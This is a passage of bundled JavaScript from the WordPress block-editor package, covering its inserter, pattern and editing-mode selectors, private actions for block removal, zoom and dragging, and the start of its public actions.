11743 },
11744 innerBlocks: variation.innerBlocks,
11745 keywords: variation.keywords || item.keywords,
11746 frecency: calculateFrecency(time, count)
11747 };
11748};
11749const calculateFrecency = (time, count) => {
11750 if (!time) {
11751 return count;
11752 }
11753 const duration = Date.now() - time;
11754 switch (true) {
11755 case duration < MILLISECONDS_PER_HOUR:
11756 return count * 4;
11757 case duration < MILLISECONDS_PER_DAY:
11758 return count * 2;
11759 case duration < MILLISECONDS_PER_WEEK:
11760 return count / 2;
11761 default:
11762 return count / 4;
11763 }
11764};
11765const buildBlockTypeItem = (state, { buildScope = "inserter" }) => (blockType) => {
11766 const id = blockType.name;
11767 let isDisabled = false;
11768 if (!(0,external_wp_blocks_namespaceObject.hasBlockSupport)(blockType.name, "multiple", true)) {
11769 isDisabled = getBlocksByClientId(
11770 state,
11771 getClientIdsWithDescendants(state)
11772 ).some(({ name }) => name === blockType.name);
11773 }
11774 const { time, count = 0 } = getInsertUsage(state, id) || {};
11775 const blockItemBase = {
11776 id,
11777 name: blockType.name,
11778 title: blockType.title,
11779 icon: blockType.icon,
11780 isDisabled,
11781 frecency: calculateFrecency(time, count)
11782 };
11783 if (buildScope === "transform") {
11784 return blockItemBase;
11785 }
11786 const inserterVariations = (0,external_wp_blocks_namespaceObject.getBlockVariations)(
11787 blockType.name,
11788 "inserter"
11789 );
11790 return {
11791 ...blockItemBase,
11792 initialAttributes: {},
11793 description: blockType.description,
11794 category: blockType.category,
11795 keywords: blockType.keywords,
11796 parent: blockType.parent,
11797 ancestor: blockType.ancestor,
11798 variations: inserterVariations,
11799 example: blockType.example,
11800 utility: 1
11801 // Deprecated.
11802 };
11803};
11804const getInserterItems = (0,external_wp_data_namespaceObject.createRegistrySelector)(
11805 (select) => (0,external_wp_data_namespaceObject.createSelector)(
11806 (state, rootClientId = null, options = DEFAULT_INSERTER_OPTIONS) => {
11807 const buildReusableBlockInserterItem = (reusableBlock) => {
11808 const icon = !reusableBlock.wp_pattern_sync_status ? {
11809 src: symbol_default,
11810 foreground: "var(--wp-block-synced-color)"
11811 } : symbol_default;
11812 const userPattern = mapUserPattern(reusableBlock);
11813 const { time, count = 0 } = getInsertUsage(state, userPattern.name) || {};
11814 const frecency = calculateFrecency(time, count);
11815 return {
11816 id: userPattern.name,
11817 name: "core/block",
11818 initialAttributes: { ref: reusableBlock.id },
11819 title: userPattern.title,
11820 icon,
11821 category: "reusable",
11822 keywords: ["reusable"],
11823 isDisabled: false,
11824 utility: 1,
11825 // Deprecated.
11826 frecency,
11827 content: userPattern.content,
11828 get blocks() {
11829 return getParsedPattern(userPattern).blocks;
11830 },
11831 syncStatus: userPattern.syncStatus
11832 };
11833 };
11834 const patternInserterItems = canInsertBlockTypeUnmemoized(
11835 state,
11836 "core/block",
11837 rootClientId
11838 ) ? unlock(select(STORE_NAME)).getReusableBlocks().map(buildReusableBlockInserterItem) : [];
11839 const buildBlockTypeInserterItem = buildBlockTypeItem(state, {
11840 buildScope: "inserter"
11841 });
11842 let blockTypeInserterItems = (0,external_wp_blocks_namespaceObject.getBlockTypes)().filter(
11843 (blockType) => (0,external_wp_blocks_namespaceObject.hasBlockSupport)(blockType, "inserter", true)
11844 ).map(buildBlockTypeInserterItem);
11845 if (options[isFiltered] !== false) {
11846 blockTypeInserterItems = blockTypeInserterItems.filter(
11847 (blockType) => canIncludeBlockTypeInInserter(
11848 state,
11849 blockType,
11850 rootClientId
11851 )
11852 );
11853 } else {
11854 blockTypeInserterItems = blockTypeInserterItems.filter(
11855 (blockType) => isBlockVisibleInTheInserter(
11856 state,
11857 blockType,
11858 rootClientId
11859 )
11860 ).map((blockType) => ({
11861 ...blockType,
11862 isAllowedInCurrentRoot: canIncludeBlockTypeInInserter(
11863 state,
11864 blockType,
11865 rootClientId
11866 )
11867 }));
11868 }
11869 const stretchVariations = [];
11870 const items = blockTypeInserterItems.reduce(
11871 (accumulator, item) => {
11872 const { variations = [] } = item;
11873 if (!variations.some(({ isDefault }) => isDefault)) {
11874 accumulator.push(item);
11875 }
11876 if (variations.length) {
11877 const variationMapper = getItemFromVariation(
11878 state,
11879 item
11880 );
11881 variations.map(variationMapper).forEach((variation) => {
11882 if (variation.id === "core/paragraph/stretchy-paragraph" || variation.id === "core/heading/stretchy-heading") {
11883 stretchVariations.push(variation);
11884 } else {
11885 accumulator.push(variation);
11886 }
11887 });
11888 }
11889 return accumulator;
11890 },
11891 []
11892 );
11893 items.push(...stretchVariations);
11894 const groupByType = (blocks, block) => {
11895 const { core, noncore } = blocks;
11896 const type = block.name.startsWith("core/") ? core : noncore;
11897 type.push(block);
11898 return blocks;
11899 };
11900 const { core: coreItems, noncore: nonCoreItems } = items.reduce(
11901 groupByType,
11902 { core: [], noncore: [] }
11903 );
11904 const sortedBlockTypes = [...coreItems, ...nonCoreItems];
11905 return [...sortedBlockTypes, ...patternInserterItems];
11906 },
11907 (state, rootClientId) => [
11908 (0,external_wp_blocks_namespaceObject.getBlockTypes)(),
11909 unlock(select(STORE_NAME)).getReusableBlocks(),
11910 state.blocks.order,
11911 state.preferences.insertUsage,
11912 ...getInsertBlockTypeDependants(select)(state, rootClientId)
11913 ]
11914 )
11915);
11916const getBlockTransformItems = (0,external_wp_data_namespaceObject.createRegistrySelector)(
11917 (select) => (0,external_wp_data_namespaceObject.createSelector)(
11918 (state, blocks, rootClientId = null) => {
11919 const normalizedBlocks = Array.isArray(blocks) ? blocks : [blocks];
11920 const buildBlockTypeTransformItem = buildBlockTypeItem(state, {
11921 buildScope: "transform"
11922 });
11923 const blockTypeTransformItems = (0,external_wp_blocks_namespaceObject.getBlockTypes)().filter(
11924 (blockType) => canIncludeBlockTypeInInserter(
11925 state,
11926 blockType,
11927 rootClientId
11928 )
11929 ).map(buildBlockTypeTransformItem);
11930 const itemsByName = Object.fromEntries(
11931 Object.entries(blockTypeTransformItems).map(
11932 ([, value]) => [value.name, value]
11933 )
11934 );
11935 const possibleTransforms = (0,external_wp_blocks_namespaceObject.getPossibleBlockTransformations)(
11936 normalizedBlocks
11937 ).reduce((accumulator, block) => {
11938 if (itemsByName[block?.name]) {
11939 accumulator.push(itemsByName[block.name]);
11940 }
11941 return accumulator;
11942 }, []);
11943 return orderBy(
11944 possibleTransforms,
11945 (block) => itemsByName[block.name].frecency,
11946 "desc"
11947 );
11948 },
11949 (state, blocks, rootClientId) => [
11950 (0,external_wp_blocks_namespaceObject.getBlockTypes)(),
11951 state.preferences.insertUsage,
11952 ...getInsertBlockTypeDependants(select)(state, rootClientId)
11953 ]
11954 )
11955);
11956const hasInserterItems = (state, rootClientId = null) => {
11957 const hasBlockType = (0,external_wp_blocks_namespaceObject.getBlockTypes)().some(
11958 (blockType) => canIncludeBlockTypeInInserter(state, blockType, rootClientId)
11959 );
11960 if (hasBlockType) {
11961 return true;
11962 }
11963 const hasReusableBlock = canInsertBlockTypeUnmemoized(
11964 state,
11965 "core/block",
11966 rootClientId
11967 );
11968 return hasReusableBlock;
11969};
11970const getAllowedBlocks = (0,external_wp_data_namespaceObject.createRegistrySelector)(
11971 (select) => (0,external_wp_data_namespaceObject.createSelector)(
11972 (state, rootClientId = null) => {
11973 if (!rootClientId) {
11974 return;
11975 }
11976 const blockTypes = (0,external_wp_blocks_namespaceObject.getBlockTypes)().filter(
11977 (blockType) => canIncludeBlockTypeInInserter(state, blockType, rootClientId)
11978 );
11979 const hasReusableBlock = canInsertBlockTypeUnmemoized(
11980 state,
11981 "core/block",
11982 rootClientId
11983 );
11984 if (hasReusableBlock) {
11985 blockTypes.push("core/block");
11986 }
11987 return blockTypes;
11988 },
11989 (state, rootClientId) => [
11990 (0,external_wp_blocks_namespaceObject.getBlockTypes)(),
11991 ...getInsertBlockTypeDependants(select)(state, rootClientId)
11992 ]
11993 )
11994);
11995const __experimentalGetAllowedBlocks = (0,external_wp_data_namespaceObject.createSelector)(
11996 (state, rootClientId = null) => {
11997 external_wp_deprecated_default()(
11998 'wp.data.select( "core/block-editor" ).__experimentalGetAllowedBlocks',
11999 {
12000 alternative: 'wp.data.select( "core/block-editor" ).getAllowedBlocks',
12001 since: "6.2",
12002 version: "6.4"
12003 }
12004 );
12005 return getAllowedBlocks(state, rootClientId);
12006 },
12007 (state, rootClientId) => getAllowedBlocks.getDependants(state, rootClientId)
12008);
12009function getDirectInsertBlock(state, rootClientId = null) {
12010 if (!rootClientId) {
12011 return;
12012 }
12013 const { defaultBlock, directInsert } = state.blockListSettings[rootClientId] ?? {};
12014 if (!defaultBlock || !directInsert) {
12015 return;
12016 }
12017 return defaultBlock;
12018}
12019function __experimentalGetDirectInsertBlock(state, rootClientId = null) {
12020 external_wp_deprecated_default()(
12021 'wp.data.select( "core/block-editor" ).__experimentalGetDirectInsertBlock',
12022 {
12023 alternative: 'wp.data.select( "core/block-editor" ).getDirectInsertBlock',
12024 since: "6.3",
12025 version: "6.4"
12026 }
12027 );
12028 return getDirectInsertBlock(state, rootClientId);
12029}
12030const __experimentalGetParsedPattern = (0,external_wp_data_namespaceObject.createRegistrySelector)(
12031 (select) => (state, patternName) => {
12032 const pattern = unlock(select(STORE_NAME)).getPatternBySlug(
12033 patternName
12034 );
12035 return pattern ? getParsedPattern(pattern) : null;
12036 }
12037);
12038const getAllowedPatternsDependants = (select) => (state, rootClientId) => [
12039 ...getAllPatternsDependants(select)(state),
12040 ...getInsertBlockTypeDependants(select)(state, rootClientId)
12041];
12042const patternsWithParsedBlocks = /* @__PURE__ */ new WeakMap();
12043function enhancePatternWithParsedBlocks(pattern) {
12044 let enhancedPattern = patternsWithParsedBlocks.get(pattern);
12045 if (!enhancedPattern) {
12046 enhancedPattern = {
12047 ...pattern,
12048 get blocks() {
12049 return getParsedPattern(pattern).blocks;
12050 }
12051 };
12052 patternsWithParsedBlocks.set(pattern, enhancedPattern);
12053 }
12054 return enhancedPattern;
12055}
12056const __experimentalGetAllowedPatterns = (0,external_wp_data_namespaceObject.createRegistrySelector)(
12057 (select) => {
12058 return (0,external_wp_data_namespaceObject.createSelector)(
12059 (state, rootClientId = null, options = DEFAULT_INSERTER_OPTIONS) => {
12060 const { getAllPatterns } = unlock(select(STORE_NAME));
12061 const patterns = getAllPatterns();
12062 const { allowedBlockTypes } = getSettings(state);
12063 const parsedPatterns = patterns.filter(({ inserter = true }) => !!inserter).map(enhancePatternWithParsedBlocks);
12064 const availableParsedPatterns = parsedPatterns.filter(
12065 (pattern) => checkAllowListRecursive(
12066 getGrammar(pattern),
12067 allowedBlockTypes
12068 )
12069 );
12070 const patternsAllowed = availableParsedPatterns.filter(
12071 (pattern) => getGrammar(pattern).every(
12072 ({ blockName: name }) => options[isFiltered] !== false ? canInsertBlockType(
12073 state,
12074 name,
12075 rootClientId
12076 ) : isBlockVisibleInTheInserter(
12077 state,
12078 name,
12079 rootClientId
12080 )
12081 )
12082 );
12083 return patternsAllowed;
12084 },
12085 getAllowedPatternsDependants(select)
12086 );
12087 }
12088);
12089const getPatternsByBlockTypes = (0,external_wp_data_namespaceObject.createRegistrySelector)(
12090 (select) => (0,external_wp_data_namespaceObject.createSelector)(
12091 (state, blockNames, rootClientId = null) => {
12092 if (!blockNames) {
12093 return selectors_EMPTY_ARRAY;
12094 }
12095 const patterns = select(STORE_NAME).__experimentalGetAllowedPatterns(
12096 rootClientId
12097 );
12098 const normalizedBlockNames = Array.isArray(blockNames) ? blockNames : [blockNames];
12099 const filteredPatterns = patterns.filter(
12100 (pattern) => pattern?.blockTypes?.some?.(
12101 (blockName) => normalizedBlockNames.includes(blockName)
12102 )
12103 );
12104 if (filteredPatterns.length === 0) {
12105 return selectors_EMPTY_ARRAY;
12106 }
12107 return filteredPatterns;
12108 },
12109 (state, blockNames, rootClientId) => getAllowedPatternsDependants(select)(state, rootClientId)
12110 )
12111);
12112const __experimentalGetPatternsByBlockTypes = (0,external_wp_data_namespaceObject.createRegistrySelector)(
12113 (select) => {
12114 external_wp_deprecated_default()(
12115 'wp.data.select( "core/block-editor" ).__experimentalGetPatternsByBlockTypes',
12116 {
12117 alternative: 'wp.data.select( "core/block-editor" ).getPatternsByBlockTypes',
12118 since: "6.2",
12119 version: "6.4"
12120 }
12121 );
12122 return select(STORE_NAME).getPatternsByBlockTypes;
12123 }
12124);
12125const __experimentalGetPatternTransformItems = (0,external_wp_data_namespaceObject.createRegistrySelector)(
12126 (select) => (0,external_wp_data_namespaceObject.createSelector)(
12127 (state, blocks, rootClientId = null) => {
12128 if (!blocks) {
12129 return selectors_EMPTY_ARRAY;
12130 }
12131 if (blocks.some(
12132 ({ clientId, innerBlocks }) => innerBlocks.length || areInnerBlocksControlled(state, clientId)
12133 )) {
12134 return selectors_EMPTY_ARRAY;
12135 }
12136 const selectedBlockNames = Array.from(
12137 new Set(blocks.map(({ name }) => name))
12138 );
12139 return select(STORE_NAME).getPatternsByBlockTypes(
12140 selectedBlockNames,
12141 rootClientId
12142 );
12143 },
12144 (state, blocks, rootClientId) => getAllowedPatternsDependants(select)(state, rootClientId)
12145 )
12146);
12147function getBlockListSettings(state, clientId) {
12148 return state.blockListSettings[clientId];
12149}
12150function getSettings(state) {
12151 return state.settings;
12152}
12153function isLastBlockChangePersistent(state) {
12154 return state.blocks.isPersistentChange;
12155}
12156const __experimentalGetBlockListSettingsForBlocks = (0,external_wp_data_namespaceObject.createSelector)(
12157 (state, clientIds = []) => {
12158 return clientIds.reduce((blockListSettingsForBlocks, clientId) => {
12159 if (!state.blockListSettings[clientId]) {
12160 return blockListSettingsForBlocks;
12161 }
12162 return {
12163 ...blockListSettingsForBlocks,
12164 [clientId]: state.blockListSettings[clientId]
12165 };
12166 }, {});
12167 },
12168 (state) => [state.blockListSettings]
12169);
12170const __experimentalGetReusableBlockTitle = (0,external_wp_data_namespaceObject.createRegistrySelector)(
12171 (select) => (0,external_wp_data_namespaceObject.createSelector)(
12172 (state, ref) => {
12173 external_wp_deprecated_default()(
12174 "wp.data.select( 'core/block-editor' ).__experimentalGetReusableBlockTitle",
12175 {
12176 since: "6.6",
12177 version: "6.8"
12178 }
12179 );
12180 const reusableBlock = unlock(select(STORE_NAME)).getReusableBlocks().find((block) => block.id === ref);
12181 if (!reusableBlock) {
12182 return null;
12183 }
12184 return reusableBlock.title?.raw;
12185 },
12186 () => [unlock(select(STORE_NAME)).getReusableBlocks()]
12187 )
12188);
12189function __unstableIsLastBlockChangeIgnored(state) {
12190 return state.blocks.isIgnoredChange;
12191}
12192function __experimentalGetLastBlockAttributeChanges(state) {
12193 return state.lastBlockAttributesChange;
12194}
12195function hasBlockMovingClientId() {
12196 external_wp_deprecated_default()(
12197 'wp.data.select( "core/block-editor" ).hasBlockMovingClientId',
12198 {
12199 since: "6.7",
12200 hint: "Block moving mode feature has been removed"
12201 }
12202 );
12203 return false;
12204}
12205function didAutomaticChange(state) {
12206 return !!state.automaticChangeStatus;
12207}
12208function isBlockHighlighted(state, clientId) {
12209 return state.highlightedBlock === clientId;
12210}
12211function areInnerBlocksControlled(state, clientId) {
12212 return !!state.blocks.controlledInnerBlocks[clientId];
12213}
12214const __experimentalGetActiveBlockIdByBlockNames = (0,external_wp_data_namespaceObject.createSelector)(
12215 (state, validBlockNames) => {
12216 if (!validBlockNames.length) {
12217 return null;
12218 }
12219 const selectedBlockClientId = getSelectedBlockClientId(state);
12220 if (validBlockNames.includes(
12221 getBlockName(state, selectedBlockClientId)
12222 )) {
12223 return selectedBlockClientId;
12224 }
12225 const multiSelectedBlockClientIds = getMultiSelectedBlockClientIds(state);
12226 const entityAreaParents = getBlockParentsByBlockName(
12227 state,
12228 selectedBlockClientId || multiSelectedBlockClientIds[0],
12229 validBlockNames
12230 );
12231 if (entityAreaParents) {
12232 return entityAreaParents[entityAreaParents.length - 1];
12233 }
12234 return null;
12235 },
12236 (state, validBlockNames) => [
12237 state.selection.selectionStart.clientId,
12238 state.selection.selectionEnd.clientId,
12239 validBlockNames
12240 ]
12241);
12242function wasBlockJustInserted(state, clientId, source) {
12243 const { lastBlockInserted } = state;
12244 return lastBlockInserted.clientIds?.includes(clientId) && lastBlockInserted.source === source;
12245}
12246function isBlockVisible(state, clientId) {
12247 return state.blockVisibility?.[clientId] ?? true;
12248}
12249function getHoveredBlockClientId() {
12250 external_wp_deprecated_default()(
12251 "wp.data.select( 'core/block-editor' ).getHoveredBlockClientId",
12252 {
12253 since: "6.9",
12254 version: "7.1"
12255 }
12256 );
12257 return void 0;
12258}
12259const __unstableGetVisibleBlocks = (0,external_wp_data_namespaceObject.createSelector)(
12260 (state) => {
12261 const visibleBlocks = new Set(
12262 Object.keys(state.blockVisibility).filter(
12263 (key) => state.blockVisibility[key]
12264 )
12265 );
12266 if (visibleBlocks.size === 0) {
12267 return EMPTY_SET;
12268 }
12269 return visibleBlocks;
12270 },
12271 (state) => [state.blockVisibility]
12272);
12273function __unstableHasActiveBlockOverlayActive(state, clientId) {
12274 if (getBlockEditingMode(state, clientId) !== "default") {
12275 return false;
12276 }
12277 if (!canEditBlock(state, clientId)) {
12278 return true;
12279 }
12280 if (isZoomOut(state)) {
12281 const sectionRootClientId = getSectionRootClientId(state);
12282 if (sectionRootClientId) {
12283 const sectionClientIds = getBlockOrder(
12284 state,
12285 sectionRootClientId
12286 );
12287 if (sectionClientIds?.includes(clientId)) {
12288 return true;
12289 }
12290 } else if (clientId && !getBlockRootClientId(state, clientId)) {
12291 return true;
12292 }
12293 }
12294 const blockSupportDisable = (0,external_wp_blocks_namespaceObject.hasBlockSupport)(
12295 getBlockName(state, clientId),
12296 "__experimentalDisableBlockOverlay",
12297 false
12298 );
12299 const shouldEnableIfUnselected = blockSupportDisable ? false : areInnerBlocksControlled(state, clientId);
12300 return shouldEnableIfUnselected && !isBlockSelected(state, clientId) && !hasSelectedInnerBlock(state, clientId, true);
12301}
12302function __unstableIsWithinBlockOverlay(state, clientId) {
12303 let parent = state.blocks.parents.get(clientId);
12304 while (!!parent) {
12305 if (__unstableHasActiveBlockOverlayActive(state, parent)) {
12306 return true;
12307 }
12308 parent = state.blocks.parents.get(parent);
12309 }
12310 return false;
12311}
12312function getBlockEditingMode(state, clientId = "") {
12313 if (clientId === null) {
12314 clientId = "";
12315 }
12316 if (state.derivedBlockEditingModes?.has(clientId)) {
12317 return state.derivedBlockEditingModes.get(clientId);
12318 }
12319 if (state.blockEditingModes.has(clientId)) {
12320 return state.blockEditingModes.get(clientId);
12321 }
12322 return "default";
12323}
12324const isUngroupable = (0,external_wp_data_namespaceObject.createRegistrySelector)(
12325 (select) => (state, clientId = "") => {
12326 const _clientId = clientId || getSelectedBlockClientId(state);
12327 if (!_clientId) {
12328 return false;
12329 }
12330 const { getGroupingBlockName } = select(external_wp_blocks_namespaceObject.store);
12331 const block = getBlock(state, _clientId);
12332 const groupingBlockName = getGroupingBlockName();
12333 const _isUngroupable = block && (block.name === groupingBlockName || (0,external_wp_blocks_namespaceObject.getBlockType)(block.name)?.transforms?.ungroup) && !!block.innerBlocks.length;
12334 return _isUngroupable && canRemoveBlock(state, _clientId);
12335 }
12336);
12337const isGroupable = (0,external_wp_data_namespaceObject.createRegistrySelector)(
12338 (select) => (state, clientIds = selectors_EMPTY_ARRAY) => {
12339 const { getGroupingBlockName } = select(external_wp_blocks_namespaceObject.store);
12340 const groupingBlockName = getGroupingBlockName();
12341 const _clientIds = clientIds?.length ? clientIds : getSelectedBlockClientIds(state);
12342 const rootClientId = _clientIds?.length ? getBlockRootClientId(state, _clientIds[0]) : void 0;
12343 const groupingBlockAvailable = canInsertBlockType(
12344 state,
12345 groupingBlockName,
12346 rootClientId
12347 );
12348 const _isGroupable = groupingBlockAvailable && _clientIds.length;
12349 return _isGroupable && canRemoveBlocks(state, _clientIds);
12350 }
12351);
12352const __unstableGetContentLockingParent = (state, clientId) => {
12353 external_wp_deprecated_default()(
12354 "wp.data.select( 'core/block-editor' ).__unstableGetContentLockingParent",
12355 {
12356 since: "6.1",
12357 version: "6.7"
12358 }
12359 );
12360 return getContentLockingParent(state, clientId);
12361};
12362function __unstableGetTemporarilyEditingAsBlocks(state) {
12363 external_wp_deprecated_default()(
12364 "wp.data.select( 'core/block-editor' ).__unstableGetTemporarilyEditingAsBlocks",
12365 {
12366 since: "6.1",
12367 version: "6.7"
12368 }
12369 );
12370 return getTemporarilyEditingAsBlocks(state);
12371}
12372function __unstableGetTemporarilyEditingFocusModeToRevert(state) {
12373 external_wp_deprecated_default()(
12374 "wp.data.select( 'core/block-editor' ).__unstableGetTemporarilyEditingFocusModeToRevert",
12375 {
12376 since: "6.5",
12377 version: "6.7"
12378 }
12379 );
12380 return getTemporarilyEditingFocusModeToRevert(state);
12381}
12382
12383
12384;// external ["wp","a11y"]
12385const external_wp_a11y_namespaceObject = window["wp"]["a11y"];
12386;// ./node_modules/@wordpress/block-editor/build-module/store/private-actions.js
12387
12388
12389
12390
12391
12392
12393const castArray = (maybeArray) => Array.isArray(maybeArray) ? maybeArray : [maybeArray];
12394const privateSettings = [
12395 "inserterMediaCategories",
12396 "blockInspectorAnimation",
12397 "mediaSideload"
12398];
12399function __experimentalUpdateSettings(settings, { stripExperimentalSettings = false, reset = false } = {}) {
12400 let incomingSettings = settings;
12401 if (Object.hasOwn(incomingSettings, "__unstableIsPreviewMode")) {
12402 external_wp_deprecated_default()(
12403 "__unstableIsPreviewMode argument in wp.data.dispatch('core/block-editor').updateSettings",
12404 {
12405 since: "6.8",
12406 alternative: "isPreviewMode"
12407 }
12408 );
12409 incomingSettings = { ...incomingSettings };
12410 incomingSettings.isPreviewMode = incomingSettings.__unstableIsPreviewMode;
12411 delete incomingSettings.__unstableIsPreviewMode;
12412 }
12413 let cleanSettings = incomingSettings;
12414 if (stripExperimentalSettings && external_wp_element_namespaceObject.Platform.OS === "web") {
12415 cleanSettings = {};
12416 for (const key in incomingSettings) {
12417 if (!privateSettings.includes(key)) {
12418 cleanSettings[key] = incomingSettings[key];
12419 }
12420 }
12421 }
12422 return {
12423 type: "UPDATE_SETTINGS",
12424 settings: cleanSettings,
12425 reset
12426 };
12427}
12428function hideBlockInterface() {
12429 return {
12430 type: "HIDE_BLOCK_INTERFACE"
12431 };
12432}
12433function showBlockInterface() {
12434 return {
12435 type: "SHOW_BLOCK_INTERFACE"
12436 };
12437}
12438const privateRemoveBlocks = (clientIds, selectPrevious = true, forceRemove = false) => ({ select, dispatch, registry }) => {
12439 if (!clientIds || !clientIds.length) {
12440 return;
12441 }
12442 clientIds = castArray(clientIds);
12443 const canRemoveBlocks = select.canRemoveBlocks(clientIds);
12444 if (!canRemoveBlocks) {
12445 return;
12446 }
12447 const rules = !forceRemove && select.getBlockRemovalRules();
12448 if (rules) {
12449 let flattenBlocks2 = function(blocks) {
12450 const result = [];
12451 const stack = [...blocks];
12452 while (stack.length) {
12453 const { innerBlocks, ...block } = stack.shift();
12454 stack.push(...innerBlocks);
12455 result.push(block);
12456 }
12457 return result;
12458 };
12459 var flattenBlocks = flattenBlocks2;
12460 const blockList = clientIds.map(select.getBlock);
12461 const flattenedBlocks = flattenBlocks2(blockList);
12462 let message;
12463 for (const rule of rules) {
12464 message = rule.callback(flattenedBlocks);
12465 if (message) {
12466 dispatch(
12467 displayBlockRemovalPrompt(
12468 clientIds,
12469 selectPrevious,
12470 message
12471 )
12472 );
12473 return;
12474 }
12475 }
12476 }
12477 if (selectPrevious) {
12478 dispatch.selectPreviousBlock(clientIds[0], selectPrevious);
12479 }
12480 registry.batch(() => {
12481 dispatch({ type: "REMOVE_BLOCKS", clientIds });
12482 dispatch(ensureDefaultBlock());
12483 });
12484};
12485const ensureDefaultBlock = () => ({ select, dispatch }) => {
12486 const count = select.getBlockCount();
12487 if (count > 0) {
12488 return;
12489 }
12490 const { __unstableHasCustomAppender } = select.getSettings();
12491 if (__unstableHasCustomAppender) {
12492 return;
12493 }
12494 dispatch.insertDefaultBlock();
12495};
12496function displayBlockRemovalPrompt(clientIds, selectPrevious, message) {
12497 return {
12498 type: "DISPLAY_BLOCK_REMOVAL_PROMPT",
12499 clientIds,
12500 selectPrevious,
12501 message
12502 };
12503}
12504function clearBlockRemovalPrompt() {
12505 return {
12506 type: "CLEAR_BLOCK_REMOVAL_PROMPT"
12507 };
12508}
12509function setBlockRemovalRules(rules = false) {
12510 return {
12511 type: "SET_BLOCK_REMOVAL_RULES",
12512 rules
12513 };
12514}
12515function setOpenedBlockSettingsMenu(clientId) {
12516 return {
12517 type: "SET_OPENED_BLOCK_SETTINGS_MENU",
12518 clientId
12519 };
12520}
12521function setStyleOverride(id, style) {
12522 return {
12523 type: "SET_STYLE_OVERRIDE",
12524 id,
12525 style
12526 };
12527}
12528function deleteStyleOverride(id) {
12529 return {
12530 type: "DELETE_STYLE_OVERRIDE",
12531 id
12532 };
12533}
12534function setLastFocus(lastFocus = null) {
12535 return {
12536 type: "LAST_FOCUS",
12537 lastFocus
12538 };
12539}
12540function stopEditingAsBlocks(clientId) {
12541 return ({ select, dispatch, registry }) => {
12542 const focusModeToRevert = unlock(
12543 registry.select(store)
12544 ).getTemporarilyEditingFocusModeToRevert();
12545 dispatch.__unstableMarkNextChangeAsNotPersistent();
12546 dispatch.updateBlockAttributes(clientId, {
12547 templateLock: "contentOnly"
12548 });
12549 dispatch.updateBlockListSettings(clientId, {
12550 ...select.getBlockListSettings(clientId),
12551 templateLock: "contentOnly"
12552 });
12553 dispatch.updateSettings({ focusMode: focusModeToRevert });
12554 dispatch.__unstableSetTemporarilyEditingAsBlocks();
12555 };
12556}
12557function startDragging() {
12558 return {
12559 type: "START_DRAGGING"
12560 };
12561}
12562function stopDragging() {
12563 return {
12564 type: "STOP_DRAGGING"
12565 };
12566}
12567function expandBlock(clientId) {
12568 return {
12569 type: "SET_BLOCK_EXPANDED_IN_LIST_VIEW",
12570 clientId
12571 };
12572}
12573function setInsertionPoint(value) {
12574 return {
12575 type: "SET_INSERTION_POINT",
12576 value
12577 };
12578}
12579const modifyContentLockBlock = (clientId) => ({ select, dispatch }) => {
12580 dispatch.selectBlock(clientId);
12581 dispatch.__unstableMarkNextChangeAsNotPersistent();
12582 dispatch.updateBlockAttributes(clientId, {
12583 templateLock: void 0
12584 });
12585 dispatch.updateBlockListSettings(clientId, {
12586 ...select.getBlockListSettings(clientId),
12587 templateLock: false
12588 });
12589 const focusModeToRevert = select.getSettings().focusMode;
12590 dispatch.updateSettings({ focusMode: true });
12591 dispatch.__unstableSetTemporarilyEditingAsBlocks(
12592 clientId,
12593 focusModeToRevert
12594 );
12595};
12596const setZoomLevel = (zoom = 100) => ({ select, dispatch }) => {
12597 if (zoom !== 100) {
12598 const firstSelectedClientId = select.getBlockSelectionStart();
12599 const sectionRootClientId = select.getSectionRootClientId();
12600 if (firstSelectedClientId) {
12601 let sectionClientId;
12602 if (sectionRootClientId) {
12603 const sectionClientIds = select.getBlockOrder(sectionRootClientId);
12604 if (sectionClientIds?.includes(firstSelectedClientId)) {
12605 sectionClientId = firstSelectedClientId;
12606 } else {
12607 sectionClientId = select.getBlockParents(firstSelectedClientId).find(
12608 (parent) => sectionClientIds.includes(parent)
12609 );
12610 }
12611 } else {
12612 sectionClientId = select.getBlockHierarchyRootClientId(
12613 firstSelectedClientId
12614 );
12615 }
12616 if (sectionClientId) {
12617 dispatch.selectBlock(sectionClientId);
12618 } else {
12619 dispatch.clearSelectedBlock();
12620 }
12621 (0,external_wp_a11y_namespaceObject.speak)((0,external_wp_i18n_namespaceObject.__)("You are currently in zoom-out mode."));
12622 }
12623 }
12624 dispatch({
12625 type: "SET_ZOOM_LEVEL",
12626 zoom
12627 });
12628};
12629function resetZoomLevel() {
12630 return {
12631 type: "RESET_ZOOM_LEVEL"
12632 };
12633}
12634function toggleBlockSpotlight(clientId, hasBlockSpotlight) {
12635 return {
12636 type: "TOGGLE_BLOCK_SPOTLIGHT",
12637 clientId,
12638 hasBlockSpotlight
12639 };
12640}
12641
12642
12643;// external ["wp","notices"]
12644const external_wp_notices_namespaceObject = window["wp"]["notices"];
12645;// external ["wp","preferences"]
12646const external_wp_preferences_namespaceObject = window["wp"]["preferences"];
12647;// ./node_modules/@wordpress/block-editor/build-module/utils/selection.js
12648
12649const START_OF_SELECTED_AREA = "\x86";
12650function retrieveSelectedAttribute(blockAttributes) {
12651 if (!blockAttributes) {
12652 return;
12653 }
12654 return Object.keys(blockAttributes).find((name) => {
12655 const value = blockAttributes[name];
12656 return (typeof value === "string" || value instanceof external_wp_richText_namespaceObject.RichTextData) && // To do: refactor this to use rich text's selection instead, so we
12657 // no longer have to use on this hack inserting a special character.
12658 value.toString().indexOf(START_OF_SELECTED_AREA) !== -1;
12659 });
12660}
12661function findRichTextAttributeKey(blockType) {
12662 for (const [key, value] of Object.entries(blockType.attributes)) {
12663 if (value.source === "rich-text" || value.source === "html") {
12664 return key;
12665 }
12666 }
12667}
12668
12669
12670;// ./node_modules/@wordpress/block-editor/build-module/store/actions.js
12671
12672
12673
12674
12675
12676
12677
12678
12679
12680const actions_castArray = (maybeArray) => Array.isArray(maybeArray) ? maybeArray : [maybeArray];
12681const resetBlocks = (blocks) => ({ dispatch }) => {
12682 dispatch({ type: "RESET_BLOCKS", blocks });
12683 dispatch(validateBlocksToTemplate(blocks));
12684};
12685const validateBlocksToTemplate = (blocks) => ({ select, dispatch }) => {
12686 const template = select.getTemplate();
12687 const templateLock = select.getTemplateLock();
12688 const isBlocksValidToTemplate = !template || templateLock !== "all" || (0,external_wp_blocks_namespaceObject.doBlocksMatchTemplate)(blocks, template);
12689 const isValidTemplate = select.isValidTemplate();
12690 if (isBlocksValidToTemplate !== isValidTemplate) {
12691 dispatch.setTemplateValidity(isBlocksValidToTemplate);
12692 return isBlocksValidToTemplate;
12693 }
12694};
12695function resetSelection(selectionStart, selectionEnd, initialPosition) {
12696 return {
